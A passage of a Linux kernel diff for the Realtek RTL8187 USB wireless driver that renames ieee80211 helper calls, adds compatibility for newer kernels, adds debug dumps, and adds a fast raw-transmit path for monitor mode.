net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); if (priv->dir_dev) { // remove_proc_entry("stats-hw", priv->dir_dev); remove_proc_entry("stats-tx", priv->dir_dev); @@ -447,9 +468,9 @@ void rtl8180_proc_init_one(struct net_device *dev) { struct proc_dir_entry *e; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - priv->dir_dev = create_proc_entry(dev->name, - S_IFDIR | S_IRUGO | S_IXUGO, + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + priv->dir_dev = create_proc_entry(dev->name, + S_IFDIR | S_IRUGO | S_IXUGO, rtl8180_proc); if (!priv->dir_dev) { DMESGE("Unable to initialize /proc/net/rtl8187/%s\n", @@ -459,7 +480,7 @@ #if 0 e = create_proc_read_entry("stats-hw", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_hw, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-hw\n", @@ -468,17 +489,17 @@ #endif e = create_proc_read_entry("stats-rx", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_rx, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-rx\n", dev->name); } - - + + e = create_proc_read_entry("stats-tx", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_tx, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-tx\n", @@ -487,27 +508,27 @@ #if 0 e = create_proc_read_entry("stats-ieee", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_ieee, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-ieee\n", dev->name); } - - + + e = create_proc_read_entry("stats-ap", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_ap, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-ap\n", dev->name); } #endif - + e = create_proc_read_entry("registers", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_registers, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/registers\n", @@ -523,14 +544,14 @@ { int i; u8 *buf =(u8*)buffer; - + printk("ASCII BUFFER DUMP (len: %x):\n",len); - + for(i=0;itx_np_pending : &priv->tx_lp_pending); - + return (used < MAX_TX_URB); } void tx_timeout(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); //rtl8180_commit(dev); schedule_work(&priv->reset_wq); //DMESG("TXTIMEOUT"); @@ -561,7 +582,20 @@ { int i; for(i=0; i<63; i++) - DMESG("EEPROM addr %x : %x", i, eprom_read(dev,i)); + DMESG("EEPROM addr %02X : %04X", i, eprom_read(dev,i)); +} + +/* this is only for debug */ +void dump_tx_power(struct net_device *dev) +{ + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int i; + DMESG("CCK TX-Power (b-mode):"); + for(i=1; i<=14; i++) + DMESG("Channel %d: %d", i, priv->chtxpwr[i]); + DMESG("OFDM TX-Power (g-mode):"); + for(i=1; i<=14; i++) + DMESG("Channel %d: %d", i, priv->chtxpwr_ofdm[i]); } /* this is only for debug */ @@ -570,14 +604,14 @@ int i; int n; int max=0xff; - - DMESG("Dumping NIC register map"); - + + DMESG("Dumping NIC register map"); + for(n=0;n<=max;) { - printk( "\nD: %2x> ", n); + printk( "\nD: %02X> ", n); for(i=0;i<16 && n<=max;i++,n++) - printk("%2x ",read_nic_byte(dev,n)); + printk("%02X ",read_nic_byte(dev,n)); } printk("\n"); } @@ -589,11 +623,11 @@ void rtl8180_irq_enable(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); //priv->irq_enabled = 1; /* - write_nic_word(dev,INTA_MASK,INTA_RXOK | INTA_RXDESCERR | INTA_RXOVERFLOW |\ - INTA_TXOVERFLOW | INTA_HIPRIORITYDESCERR | INTA_HIPRIORITYDESCOK |\ + write_nic_word(dev,INTA_MASK,INTA_RXOK | INTA_RXDESCERR | INTA_RXOVERFLOW |\ + INTA_TXOVERFLOW | INTA_HIPRIORITYDESCERR | INTA_HIPRIORITYDESCOK |\ INTA_NORMPRIORITYDESCERR | INTA_NORMPRIORITYDESCOK |\ INTA_LOWPRIORITYDESCERR | INTA_LOWPRIORITYDESCOK | INTA_TIMEOUT); */ @@ -603,7 +637,7 @@ void rtl8180_irq_disable(struct net_device *dev) { -// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); +// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); write_nic_word(dev,INTA_MASK,0); force_pci_posting(dev); @@ -625,115 +659,119 @@ void rtl8180_update_msr(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); u8 msr; - + msr = read_nic_byte(dev, MSR); msr &= ~ MSR_LINK_MASK; - + /* do not change in link_state != WLAN_LINK_ASSOCIATED. - * msr must be updated if the state is ASSOCIATING. + * msr must be updated if the state is ASSOCIATING. * this is intentional and make sense for ad-hoc and * master (see the create BSS/IBSS func) */ - if (priv->ieee80211->state == IEEE80211_LINKED){ - + if (priv->ieee80211->state == IEEE80211_LINKED){ + if (priv->ieee80211->iw_mode == IW_MODE_INFRA) msr |= (MSR_LINK_MANAGED<ieee80211->iw_mode == IW_MODE_ADHOC) msr |= (MSR_LINK_ADHOC<ieee80211->iw_mode == IW_MODE_MASTER) msr |= (MSR_LINK_MASTER<chan=ch; #if 0 - if(priv->ieee80211->iw_mode == IW_MODE_ADHOC || + if(priv->ieee80211->iw_mode == IW_MODE_ADHOC || priv->ieee80211->iw_mode == IW_MODE_MASTER){ - - priv->ieee80211->link_state = WLAN_LINK_ASSOCIATED; + + priv->ieee80211->link_state = WLAN_LINK_ASSOCIATED; priv->ieee80211->master_chan = ch; - rtl8180_update_beacon_ch(dev); + rtl8180_update_beacon_ch(dev); } #endif - + /* this hack should avoid frame TX during channel setting*/ tx = read_nic_dword(dev,TX_CONF); tx &= ~TX_LOOPBACK_MASK; -#ifndef LOOP_TEST +#ifndef LOOP_TEST write_nic_dword(dev,TX_CONF, tx |( TX_LOOPBACK_MAC<rf_set_chan(dev,priv->chan); mdelay(10); - write_nic_dword(dev,TX_CONF,tx | (TX_LOOPBACK_NONE<udev, usb_rcvbulkpipe(priv->udev,0x81), rx_urb->transfer_buffer, RX_URB_SIZE,rtl8187_rx_isr,dev); - err = usb_submit_urb(rx_urb, GFP_ATOMIC); + err = usb_submit_urb(rx_urb, GFP_ATOMIC); if(err && err != -EPERM){ DMESGE("cannot submit RX command. URB_STATUS %x",rx_urb->status); - + } - + } void rtl8187_rx_initiate(struct net_device *dev) { int i; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + if(!priv->rx_urb) DMESGE("Cannot intiate RX urb mechanism"); - for(i=0;irx_urb[i]); - + } void rtl8187_set_rxconf(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); u32 rxconf; - + rxconf=read_nic_dword(dev,RX_CONF); rxconf = rxconf &~ MAC_FILTER_MASK; rxconf = rxconf | (1<flags & IFF_PROMISC) DMESG ("NIC in promisc mode"); - + if(priv->ieee80211->iw_mode == IW_MODE_MONITOR || \ dev->flags & IFF_PROMISC){ rxconf = rxconf | (1<ieee80211->iw_mode == IW_MODE_MASTER){ rxconf = rxconf | (1<ieee80211->iw_mode == IW_MODE_MONITOR){ rxconf = rxconf | (1<crcmon == 1 && priv->ieee80211->iw_mode == IW_MODE_MONITOR) rxconf = rxconf | (1<card_8185){ - + txconf = txconf &~ (1<ieee80211->hw_seq) + + if(priv->ieee80211->hw_seq) txconf= txconf &~ (1<retry_data<retry_rts<ieee80211->iw_mode != IW_MODE_MONITOR) + { + txconf = txconf | (priv->retry_data<retry_rts<dma_poll_mask &=~(1<dma_poll_mask); + write_nic_byte(dev,TX_DMA_POLLING,priv->dma_poll_mask); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); } void rtl8180_ -_disable(struct net_device *dev) +_disable(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); priv->dma_poll_mask |= (1<dma_poll_mask); @@ -914,8 +955,8 @@ { u8 cmd; int i; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + cmd=read_nic_byte(dev,CMD); write_nic_byte(dev, CMD, cmd &~ \ ((1<rx_urb[i]); } /*while (read_nic_byte(dev,CMD) & (1<rx_skb_complete) // dev_kfree_skb_any(priv->rx_skb); } @@ -939,14 +980,14 @@ #if 0 int i; u32 *tmp; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + priv->txbeaconring = (u32*)pci_alloc_consistent(priv->pdev, - sizeof(u32)*8*count, + sizeof(u32)*8*count, &priv->txbeaconringdma); if (!priv->txbeaconring) return -1; for (tmp=priv->txbeaconring,i=0;itxbeaconringdma+((i+1)*8*4); else *(tmp+4) = (u32)priv->txbeaconringdma; - + tmp=tmp+8; } #endif @@ -965,15 +1006,15 @@ void rtl8180_reset(struct net_device *dev) { - + u8 cr; - + /* make sure the analog power is on before * reset, otherwise reset may fail */ rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_ON); - + rtl8180_irq_disable(dev); mdelay(200); @@ -981,19 +1022,19 @@ write_nic_byte_E(dev,0x18,0x11); write_nic_byte_E(dev,0x18,0x00); mdelay(200); - + cr=read_nic_byte(dev,CMD); cr = cr & 2; cr = cr | (1<11) return 0; - return rtl_rate[rate]; + return rtl_rate[rate]; +} + +inline u8 rtl8180_IsWirelessBMode(u16 rate) +{ + if( ((rate <= 110) && (rate != 60) && (rate != 90)) || (rate == 220) ) + return 1; + else return 0; } - +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) void rtl8187_rx_isr(struct urb *rx_urb, struct pt_regs *regs) +#else +void rtl8187_rx_isr(struct urb *rx_urb) +#endif { struct net_device *dev = (struct net_device*)rx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); priv->rxurb_task = rx_urb; // DMESGW("David: Rx tasklet start!"); - tasklet_schedule(&priv->irq_rx_tasklet); + tasklet_schedule(&priv->irq_rx_tasklet); // DMESGW("=David: Rx tasklet finish!"); } #if 0 void rtl8180_tx_queues_stop(struct net_device *dev) { - //struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + //struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); u8 dma_poll_mask = (1<dma_poll_mask |= (1<dma_poll_mask); @@ -1091,7 +1142,7 @@ { // FIXME !! #if 0 - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); priv->dma_poll_mask &= ~(1<dma_poll_mask); @@ -1105,14 +1156,19 @@ */ void rtl8180_hard_data_xmit(struct sk_buff *skb, struct net_device *dev, int rate) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - short morefrag = 0; + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + + short morefrag = 0; unsigned long flags; struct ieee80211_hdr *h = (struct ieee80211_hdr *) skb->data; - if (le16_to_cpu(h->frame_ctl) & IEEE80211_FCTL_MOREFRAGS) - morefrag = 1; + if(priv->ieee80211->iw_mode != IW_MODE_MONITOR || priv->ieee80211->raw_tx != 1) + { + if (le16_to_cpu(h->frame_ctl) & IEEE80211_FCTL_MOREFRAGS) + { + morefrag = 1; + } + } // DMESG("%x %x", h->frame_ctl, h->seq_ctl); /* * This function doesn't require lock because we make @@ -1121,24 +1177,29 @@ * the ieee stack, or from the try_wake_queue (again trought * the ieee stack. */ - spin_lock_irqsave(&priv->tx_lock,flags); - - //DMESG("TX"); - if (!check_nic_enought_desc(dev, LOW_PRIORITY)){ - DMESG("Error: no TX slot "); - ieee80211_stop_queue(priv->ieee80211); - } - - rtl8180_tx(dev, (u32*)skb->data, skb->len, LOW_PRIORITY, morefrag, - ieeerate2rtlrate(rate)); - - priv->stats.txdatapkt++; - - if (!check_nic_enought_desc(dev, LOW_PRIORITY)) - ieee80211_stop_queue(priv->ieee80211); - - spin_unlock_irqrestore(&priv->tx_lock,flags); - + + if(priv->ieee80211->iw_mode != IW_MODE_MONITOR || priv->fasttx == 0) + { + spin_lock_irqsave(&priv->tx_lock,flags); + //DMESG("TX"); + if (!check_nic_enought_desc(dev, LOW_PRIORITY)){ + DMESG("Error: no TX slot "); + ieee80211_stop_queue_rtl7(priv->ieee80211); + } + rtl8180_tx(dev, (u32*)skb->data, skb->len, LOW_PRIORITY, morefrag, + ieeerate2rtlrate(rate)); + + priv->stats.txdatapkt++; + + if (!check_nic_enought_desc(dev, LOW_PRIORITY)) + ieee80211_stop_queue_rtl7(priv->ieee80211); + spin_unlock_irqrestore(&priv->tx_lock,flags); + } + else + { + rtl8180_tx_fast(dev, (u32*)skb->data, skb->len, ieeerate2rtlrate(rate)); + } + } #if 0 /* This is a rough attempt to TX a frame @@ -1148,12 +1209,12 @@ */ int rtl8180_hard_start_xmit(struct sk_buff *skb,struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); int ret; unsigned long flags; - + spin_lock_irqsave(&priv->tx_lock,flags); - + ret = rtl8180_tx(dev, (u32*)skb->data, skb->len, NORM_PRIORITY, 0,DEFAULT_BASICRATE); /* int i; @@ -1163,9 +1224,9 @@ */ priv->ieee80211->stats.tx_bytes+=skb->len; priv->ieee80211->stats.tx_packets++; - - spin_unlock_irqrestore(&priv->tx_lock,flags); - + + spin_unlock_irqrestore(&priv->tx_lock,flags); + dev_kfree_skb_any(skb); return ret; } @@ -1178,7 +1239,7 @@ u16 duration; u16 drift; *ext=0; - + switch(rate){ case 0://1mbps *ext=0; @@ -1187,7 +1248,7 @@ if(drift ==0 ) break; duration++; break; - + case 1://2mbps *ext=0; duration = ((len+4)<<4) /0x4; @@ -1195,40 +1256,44 @@ if(drift ==0 ) break; duration++; break; - + case 2: //5.5mbps *ext=0; duration = ((len+4)<<4) /0xb; drift = ((len+4)<<4) % 0xb; - if(drift ==0 ) + if(drift ==0 ) break; duration++; break; - + default: - case 3://11mbps + case 3://11mbps *ext=0; duration = ((len+4)<<4) /0x16; drift = ((len+4)<<4) % 0x16; - if(drift ==0 ) + if(drift ==0 ) break; duration++; - if(drift > 6) + if(drift > 6) break; *ext=1; break; } - + return duration; } #endif void rtl8180_try_wake_queue(struct net_device *dev, int pri); +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) void rtl8187_lptx_isr(struct urb *tx_urb, struct pt_regs *regs) +#else +void rtl8187_lptx_isr(struct urb *tx_urb) +#endif { struct net_device *dev = (struct net_device*)tx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if(tx_urb->status == 0) priv->stats.txlpokint++; else @@ -1239,6 +1304,15 @@ rtl8180_try_wake_queue(dev,LOW_PRIORITY); } +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +void rtl8187_lptx_isr_fast(struct urb *tx_urb, struct pt_regs *regs) +#else +void rtl8187_lptx_isr_fast(struct urb *tx_urb) +#endif +{ + kfree(tx_urb->transfer_buffer); + usb_free_urb(tx_urb); +} void rtl8187_beacon_stop(struct net_device *dev) { @@ -1249,55 +1323,55 @@ if ((msrm == (MSR_LINK_ADHOC<ieee80211->current_network; - - + + write_nic_dword(dev,BSSID,((u32*)net->bssid)[0]); write_nic_word(dev,BSSID+4,((u16*)net->bssid)[2]); //for(i=0;ibssid[i]); rtl8180_update_msr(dev); - + // rtl8180_set_mode(dev,EPROM_CMD_CONFIG); write_nic_word(dev, AtimWnd, 2); - write_nic_word(dev, AtimtrItv, 100); + write_nic_word(dev, AtimtrItv, 100); write_nic_word(dev, BEACON_INTERVAL, net->beacon_interval); write_nic_word(dev, BcnIntTime, 100); - + } void rtl8187_beacon_tx(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); struct sk_buff *skb; int i = 0; - + rtl8187_net_update(dev); - - skb = ieee80211_get_beacon(priv->ieee80211); - - - if(!skb){ + + skb = ieee80211_get_beacon_rtl7(priv->ieee80211); + + + if(!skb){ DMESG("not enought memory for allocating beacon"); return; } - -#if 0 + +#if 0 while(MAX_TX_URB!=atomic_read(&priv->tx_np_pending)){ msleep_interruptible_rtl(HZ/2); if(i++ > 20){ @@ -1307,7 +1381,7 @@ } #endif write_nic_byte(dev, BQREQ, read_nic_byte(dev, BQREQ) | (1<<7)); - + i=0; //while(!read_nic_byte(dev,BQREQ & (1<<7))) while( (read_nic_byte(dev, BQREQ) & (1<<7)) == 0 ) @@ -1318,16 +1392,20 @@ return ; } } - + rtl8180_tx(dev, (u32*)skb->data, skb->len, NORM_PRIORITY, 0, priv->ieee80211->basic_rate); - + } +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) void rtl8187_nptx_isr(struct urb *tx_urb, struct pt_regs *regs) +#else +void rtl8187_nptx_isr(struct urb *tx_urb) +#endif { struct net_device *dev = (struct net_device*)tx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if(tx_urb->status == 0) priv->stats.txnpokint++; else @@ -1339,10 +1417,10 @@ } -/* This function do the real dirty work: it sends a TX command - * descriptor plus data URB +/* This function do the real dirty work: it sends a TX command + * descriptor plus data URB */ - + short rtl8180_tx(struct net_device *dev, u32* txbuf, int len, priority_t priority, short morefrag, short rate) { @@ -1352,12 +1430,12 @@ int pend ; int status; struct urb *tx_urb; - int urb_len; - struct r8180_priv *priv = ieee80211_priv(dev); + int urb_len; + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); // int rate = ieeerate2rtlrate(priv->ieee80211->rate); - pend = atomic_read((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending); - /* we are locked here so the two atomic_read and inc are executed without interleaves */ + pend = atomic_read((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending); + /* we are locked here so the two atomic_read and inc are executed without interleaves */ if( pend > MAX_TX_URB){ if(priority == NORM_PRIORITY) priv->stats.txnpdrop++; @@ -1365,52 +1443,38 @@ priv->stats.txlpdrop++; return -1; } - - + //tx = kmalloc((len + 4*3), GFP_ATOMIC); urb_len = len + 4*3; if((0 == urb_len%64)||(0 == urb_len%512)) { - urb_len += 1; + urb_len += 1; } tx = kmalloc(urb_len, GFP_ATOMIC); if(!tx) return -ENOMEM; - //printk(KERN_WARNING "urb_len = %d\n", urb_len); + //printk(KERN_WARNING "urb_len = %d\n", urb_len); tx_urb = usb_alloc_urb(0,GFP_ATOMIC); - + if(!tx_urb){ - + kfree(tx); return -ENOMEM; } - + memcpy(tx+3,txbuf,len); tx[0] = 0; tx[0] |= len & 0xfff; tx[0] |= (1<<15); - -// if(priv->shortpre) -// tx[0] |= (1<<16); - - //if(len > priv->rts_threshold){ -// tx[0] |= (1<<23); //ENABLE RTS -// tx[0] |= (1<<18); //ENABLE CTS - //} + if(morefrag) tx[0] |= (1<<17); tx[0] |= (ieeerate2rtlrate(priv->ieee80211->basic_rate) << 19); /* RTS RATE - should be basic rate */ tx[0] |= (rate << 24); tx[1] = 0; - -// duration = rtl8180_len2duration(len, -// rate,&ext); -// tx[1] |= (duration & 0x7fff) <<16; -// if(ext) tx[1] |= (1<<31); - // tx[2] = 0x303020; tx[2] = 3; // CW min tx[2] |= (7<<4); //CW max tx[2] |= (11<<8);//(priv->retry_data<<8); //retry lim - + // printk("%x\n%x\n",tx[0],tx[1]); #ifdef DUMP_TX @@ -1421,7 +1485,7 @@ printk("---------------\n"); #endif - + /* FIXME check what EP is for low/norm PRI */ usb_fill_bulk_urb(tx_urb,priv->udev, usb_sndbulkpipe(priv->udev,(priority == LOW_PRIORITY) ? 2:3), tx, @@ -1438,54 +1502,97 @@ } } - +/* This function do the real dirty work: it sends a TX command + * descriptor plus data URB (fast) + */ + +short rtl8180_tx_fast(struct net_device *dev, u32* txbuf, int len, short rate) +{ + u32 *tx; + int status; + struct urb *tx_urb; + int urb_len; + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + urb_len = len + 4*3; + if((0 == urb_len%64)||(0 == urb_len%512)) { + urb_len += 1; + } + tx = kmalloc(urb_len, GFP_ATOMIC); + if(!tx) return -ENOMEM; + + tx_urb = usb_alloc_urb(0,GFP_ATOMIC); + + if(!tx_urb){ + kfree(tx); + return -ENOMEM; + } + + memcpy(tx+3,txbuf,len); + tx[0] = (len & 0xfff) + 0x8000; + tx[0] |= (ieeerate2rtlrate(priv->ieee80211->basic_rate) << 19); /* RTS RATE - should be basic rate */ + tx[0] |= (rate << 24); + tx[1] = 0; + tx[2] = 2931; + + /* FIXME check what EP is for low/norm PRI */ + usb_fill_bulk_urb(tx_urb,priv->udev, + usb_sndbulkpipe(priv->udev, 2), tx, urb_len, rtl8187_lptx_isr_fast, dev); + status = usb_submit_urb(tx_urb, GFP_ATOMIC); + if (!status){ + return 0; + }else{ + return -1; + } +} + void rtl8180_irq_rx_tasklet(struct r8180_priv * priv); short rtl8187_usb_initendpoints(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; - + priv->rx_urb = (struct urb**) kmalloc (sizeof(struct urb*) * MAX_RX_URB, GFP_KERNEL); - + for(i=0;irx_urb[i] = usb_alloc_urb(0,GFP_KERNEL); - if(!priv->rx_urb[i]) + if(!priv->rx_urb[i]) goto destroy; - + priv->rx_urb[i]->transfer_buffer = kmalloc(RX_URB_SIZE, GFP_KERNEL); - if(!priv->rx_urb[i]->transfer_buffer) + if(!priv->rx_urb[i]->transfer_buffer) goto destroy1; - + priv->rx_urb[i]->transfer_buffer_length = RX_URB_SIZE; } - + return 0; - + destroy1: usb_free_urb(priv->rx_urb[i]); - + destroy: while (--i >= 0){ kfree(priv->rx_urb[i]->transfer_buffer); usb_free_urb(priv->rx_urb[i]); } - + kfree(priv->rx_urb); - + priv->rx_urb = NULL; DMESGE("Endpoint Alloc Failure"); return -ENOMEM; - + } void rtl8187_usb_deleteendpoints(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; - + if(priv->rx_urb){ for(i=0;irx_urb[i]); @@ -1494,9 +1601,9 @@ } kfree(priv->rx_urb); priv->rx_urb = NULL; - + } - + } @@ -1505,16 +1612,16 @@ int i; u16 word; int basic_rate,min_rr_rate,max_rr_rate; - -// struct r8180_priv *priv = ieee80211_priv(dev); - - //if (ieee80211_is_54g(priv->ieee80211->current_network) && + +// struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + //if (ieee80211_is_54g_rtl7(priv->ieee80211->current_network) && // priv->ieee80211->state == IEEE80211_LINKED){ basic_rate = ieeerate2rtlrate(240); min_rr_rate = ieeerate2rtlrate(60); max_rr_rate = ieeerate2rtlrate(240); - -// + +// // }else{ // basic_rate = ieeerate2rtlrate(20); // min_rr_rate = ieeerate2rtlrate(10); @@ -1526,21 +1633,21 @@ word = read_nic_word(dev, BRSR); word &= ~BRSR_MBR_8185; - + for(i=0;i<=basic_rate;i++) word |= (1<beacon_interval); rtl8187_net_update(dev); /*update timing params*/ @@ -1553,24 +1660,24 @@ short rtl8180_init(struct net_device *dev) { - - struct r8180_priv *priv = ieee80211_priv(dev); + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i, j; u16 word; - int ch; + int ch, chans; //u16 version; - //u8 hw_version; - //u8 config3; - + u8 hw_version; + u8 config3; + //FIXME: these constants are placed in a bad pleace. // priv->txbuffsize = 1024; // priv->txringcount = 32; // priv->rxbuffersize = 1024; -// priv->rxringcount = 32; +// priv->rxringcount = 32; // priv->txbeaconcount = 3; // priv->rx_skb_complete = 1; - //priv->txnp_pending.ispending=0; + //priv->txnp_pending.ispending=0; /* ^^ the SKB does not containt a partial RXed * packet (is empty) */ @@ -1580,15 +1687,24 @@ return -1; } ch=channels; + chans=0; + for (i=1; i<=14; i++) { + if( (u8)(ch & 0x01) ) chans++; + ch >>= 1; + } + DMESG("Enabling %d channels.", chans); + ch=channels; // set channels 1..14 allowed in given locale for (i=1; i<=14; i++) { (priv->ieee80211->channel_map)[i] = (u8)(ch & 0x01); ch >>= 1; } //memcpy(priv->stats,0,sizeof(struct Stats)); - + //priv->irq_enabled=0; - + + priv->dev = dev; + // priv->stats.rxdmafail=0; priv->stats.txrdu=0; // priv->stats.rxrdu=0; @@ -1612,33 +1728,37 @@ // priv->stats.txbeaconerr=0; priv->stats.txlperr=0; priv->stats.txlpokint=0; - + priv->ieee80211->iw_mode = IW_MODE_INFRA; - + priv->retry_rts = DEFAULT_RETRY_RTS; priv->retry_data = DEFAULT_RETRY_DATA; priv->ieee80211->rate = 110; //11 mbps priv->ieee80211->short_slot = 1; - priv->ieee80211->mode = IEEE_G; + priv->ieee80211->mode = IEEE_G|IEEE_B; priv->promisc = (dev->flags & IFF_PROMISC) ? 1:0; spin_lock_init(&priv->tx_lock); +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) INIT_WORK(&priv->reset_wq,(void(*)(void*)) rtl8180_restart,dev); +#else + INIT_WORK(&priv->reset_wq, rtl8180_restart); +#endif sema_init(&priv->wx_sem,1); tasklet_init(&priv->irq_rx_tasklet, (void(*)(unsigned long))rtl8180_irq_rx_tasklet, (unsigned long)priv); - //priv->ieee80211->func = + //priv->ieee80211->func = // kmalloc(sizeof(struct ieee80211_helper_functions),GFP_KERNEL); //memset(priv->ieee80211->func, 0, // sizeof(struct ieee80211_helper_functions)); - priv->ieee80211->current_network.beacon_interval = DEFAULT_BEACONINTERVAL; + priv->ieee80211->current_network.beacon_interval = DEFAULT_BEACONINTERVAL; priv->ieee80211->iw_mode = IW_MODE_INFRA; - priv->ieee80211->softmac_features = IEEE_SOFTMAC_SCAN | - IEEE_SOFTMAC_ASSOCIATE | IEEE_SOFTMAC_PROBERQ | + priv->ieee80211->softmac_features = IEEE_SOFTMAC_SCAN | + IEEE_SOFTMAC_ASSOCIATE | IEEE_SOFTMAC_PROBERQ | IEEE_SOFTMAC_PROBERS | IEEE_SOFTMAC_TX_QUEUE | /*IEEE_SOFTMAC_BEACONS | */IEEE_SOFTMAC_SINGLE_QUEUE; - + priv->ieee80211->active_scan = 1; priv->ieee80211->rate = 110; //11 mbps priv->ieee80211->modulation = IEEE80211_CCK_MODULATION | IEEE80211_OFDM_MODULATION; @@ -1655,51 +1775,51 @@ priv->ieee80211->data_hard_resume = rtl8180_data_hard_resume; //priv->ieee80211->start_send_beacons = NULL; //priv->ieee80211->stop_send_beacons = NULL; - + priv->ieee80211->fts = DEFAULT_FRAG_THRESHOLD; - + priv->card_8185 = 2; priv->phy_ver = 2; priv->card_type = USB; - + #if 0 hw_version =( read_nic_dword(dev, TCR) & TCR_HWVERID_MASK)>>TCR_HWVERID_SHIFT; - + switch (hw_version){ case HW_VERID_R8185_ABC: - DMESG("MAC controller is a RTL8185 b/g"); + DMESG("MAC controller is a RTL8185 b/g"); priv->card_8185 = 1; /* you should not find a card with 8225 PHY ver < C*/ priv->phy_ver = 2; break; - + case HW_VERID_R8185_D: - DMESG("MAC controller is a RTL8185 b/g (V. D)"); + DMESG("MAC controller is a RTL8185 b/g (V. D)"); priv->card_8185 = 2; /* you should not find a card with 8225 PHY ver < C*/ priv->phy_ver = 2; break; - + case HW_VERID_R8180_ABCD: DMESG("MAC controller is a RTL8180"); priv->card_8185 = 0; break; - + case HW_VERID_R8180_F: DMESG("MAC controller is a RTL8180 (v. F)"); priv->card_8185 = 0; break; - + default: DMESGW("MAC chip not recognized: version %x. Assuming RTL8180",hw_version); priv->card_8185 = 0; break; } - - + + /* you should not found any 8185 Ver B Card */ priv->card_8185_Bversion = 0; - + config3 = read_nic_byte(dev, CONFIG3); if(config3 & 0x8){ priv->card_type = CARDBUS; @@ -1715,13 +1835,19 @@ #endif priv->enable_gpio0 = 0; - + + hw_version =( read_nic_dword(dev, TCR) & TCR_HWVERID_MASK)>>TCR_HWVERID_SHIFT; + config3 = read_nic_byte(dev, CONFIG3); + + DMESG("MAC chip version: %02X", hw_version); + DMESG("Card type: %02X", config3); + /* commented out just because we already do this when resetting the card andrea 20050924 */ #if 0 - + u8 txcr, txreg50; u32 txreg54, txreg60; @@ -1757,8 +1883,8 @@ // DMESG("<>", txcr); #endif - - /*the eeprom type is stored in RCR register bit #6 */ + + /*the eeprom type is stored in RCR register bit #6 */ if (RCR_9356SEL & read_nic_dword(dev, RCR)){ priv->epromtype=EPROM_93c56; DMESG("Reported EEPROM chip is a 93c56 (2Kbit)"); @@ -1766,58 +1892,73 @@ 